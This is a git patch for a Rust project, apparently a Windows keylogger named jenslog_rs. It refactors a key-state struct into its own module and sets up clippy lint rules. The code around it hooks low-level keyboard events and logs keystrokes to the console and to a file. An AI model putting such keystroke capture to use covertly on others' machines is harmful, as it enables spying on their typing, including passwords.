From 9e78b067f54e82bcf94cdca1eed1d21c49d5bde1 Mon Sep 17 00:00:00 2001 From: LordMZTE Date: Wed, 26 Aug 2020 13:51:43 +0200 Subject: [PATCH] move keystate into own file configure clippy linter adjust style to linter settings --- src/key/keystate.rs | 43 ++++++++++++++++++++++++++++++++++++++++ src/key/mod.rs | 1 + src/lib.rs | 14 ++++++++++++- src/logging/logger.rs | 45 +----------------------------------------- src/logging/loggers.rs | 3 ++- src/main.rs | 2 +- 6 files changed, 61 insertions(+), 47 deletions(-) create mode 100644 src/key/keystate.rs create mode 100644 src/key/mod.rs diff --git a/src/key/keystate.rs b/src/key/keystate.rs new file mode 100644 index 0000000..1b23cbf --- /dev/null +++ b/src/key/keystate.rs @@ -0,0 +1,43 @@ +use winapi::um::winuser::KBDLLHOOKSTRUCT; + +pub struct KeyState { + pub kbdllstruct: KBDLLHOOKSTRUCT, + + pub shift_down: bool, + pub ctrl_down: bool, + pub win_down: bool, +} + +impl KeyState { + pub fn new() -> Box { + Box::new(Self { + kbdllstruct: KBDLLHOOKSTRUCT { + vkCode: 0, + scanCode: 0, + flags: 0, + time: 0, + dwExtraInfo: 0, + }, + shift_down: false, + ctrl_down: false, + win_down: false, + }) + } + + /// `key_down` if the event was a keydown event, this should be true. if it was keyup it should be false + pub fn update(&mut self, key: KBDLLHOOKSTRUCT, key_down: bool) { + self.kbdllstruct = key; + + match key.vkCode { + 160 | 161 => self.shift_down = key_down, + 162 | 163 => self.ctrl_down = key_down, + 91 => self.win_down = key_down, + _ => {} + } + } + + /// true if the key is an auxiliary key like shift, control or the windows key + pub fn is_aux_key(&self) -> bool { + matches!(self.kbdllstruct.vkCode, 160 | 161 | 162 | 163 | 91) + } +} \ No newline at end of file diff --git a/src/key/mod.rs b/src/key/mod.rs new file mode 100644 index 0000000..30cf9ed --- /dev/null +++ b/src/key/mod.rs @@ -0,0 +1 @@ +pub mod keystate; \ No newline at end of file diff --git a/src/lib.rs b/src/lib.rs index 91feda6..6e7471e 100644 --- a/src/lib.rs +++ b/src/lib.rs @@ -1,13 +1,25 @@ + +//region Clippy config +#![warn(clippy::pedantic)] +//disable silly rules +#![allow( +clippy::module_name_repetitions, //complains about function names which makes no sense, so disabled +clippy::must_use_candidate, //no i dont wannt to add the must_use attribute to everything +clippy::cast_lossless, clippy::cast_possible_wrap, //lossy casts are required to work with garbage WinApi +)] +//endregion + use winapi::um::winuser::GetKeyNameTextW; use std::ffi::OsString; use wio::wide::FromWide; pub mod logging; +pub mod key; #[no_mangle] pub fn scan_code_to_key_name(scan_code: u32) -> String { unsafe { - let mut out = [0u16; 128]; + let mut out = [0_u16; 128]; GetKeyNameTextW((scan_code << 16) as i32, (&mut out).as_mut_ptr(), 128); let null_pos = out.iter().position(|x| *x == b'\0' as u16).unwrap_or_else(|| out.len()); //use to_string_lossy to avoid unicode checks for better performance. if the windows api screws up thats not my fault :P diff --git a/src/logging/logger.rs b/src/logging/logger.rs index d43cd18..50add4f 100644 --- a/src/logging/logger.rs +++ b/src/logging/logger.rs @@ -1,7 +1,6 @@ -use winapi::um::winuser::KBDLLHOOKSTRUCT; - use crate::logging::loggers::{ConsoleLogger, FileLogger}; use crate::scan_code_to_key_name; +use crate::key::keystate::KeyState; pub trait Logger: Sync { fn log(&self, key: &KeyState); @@ -26,45 +25,3 @@ impl dyn Logger { ) } } - -pub struct KeyState { - pub kbdllstruct: KBDLLHOOKSTRUCT, - - pub shift_down: bool, - pub ctrl_down: bool, - pub win_down: bool, -} - -impl KeyState { - pub fn new() -> Box { - Box::new(Self { - kbdllstruct: KBDLLHOOKSTRUCT { - vkCode: 0, - scanCode: 0, - flags: 0, - time: 0, - dwExtraInfo: 0, - }, - shift_down: false, - ctrl_down: false, - win_down: false, - }) - } - - /// key_down: if the event was a keydown event, this should be true. if it was keyup it should be false - pub fn update(&mut self, key: KBDLLHOOKSTRUCT, key_down: bool) { - self.kbdllstruct = key; - - match key.vkCode { - 160 | 161 => self.shift_down = key_down, - 162 | 163 => self.ctrl_down = key_down, - 91 => self.win_down = key_down, - _ => {} - } - } - - /// true if the key is an auxiliary key like shift, control or the windows key - pub fn is_aux_key(&self) -> bool { - matches!(self.kbdllstruct.vkCode, 160 | 161 | 162 | 163 | 91) - } -} diff --git a/src/logging/loggers.rs b/src/logging/loggers.rs index 2afa0e5..1381524 100644 --- a/src/logging/loggers.rs +++ b/src/logging/loggers.rs @@ -1,8 +1,9 @@ -use crate::logging::logger::{Logger, KeyState}; +use crate::logging::logger::Logger; use std::fs::{File, OpenOptions}; use std::io::Write; use std::path::Path; use std::sync::Mutex; +use crate::key::keystate::KeyState; pub struct ConsoleLogger; impl Logger for ConsoleLogger { diff --git a/src/main.rs b/src/main.rs index 2472edc..9fd31ba 100644 --- a/src/main.rs +++ b/src/main.rs @@ -7,7 +7,7 @@ use std::sync::Mutex; use winapi::um::winuser::{GetMessageW, PKBDLLHOOKSTRUCT, SetWindowsHookExA}; -use jenslog_rs::logging::logger::{get_logger, Logger, KeyState}; +use jenslog_rs::{key::keystate::KeyState, logging::logger::{Logger, get_logger}}; lazy_static! { static ref KEYSTATE: Mutex> = Mutex::new(KeyState::new());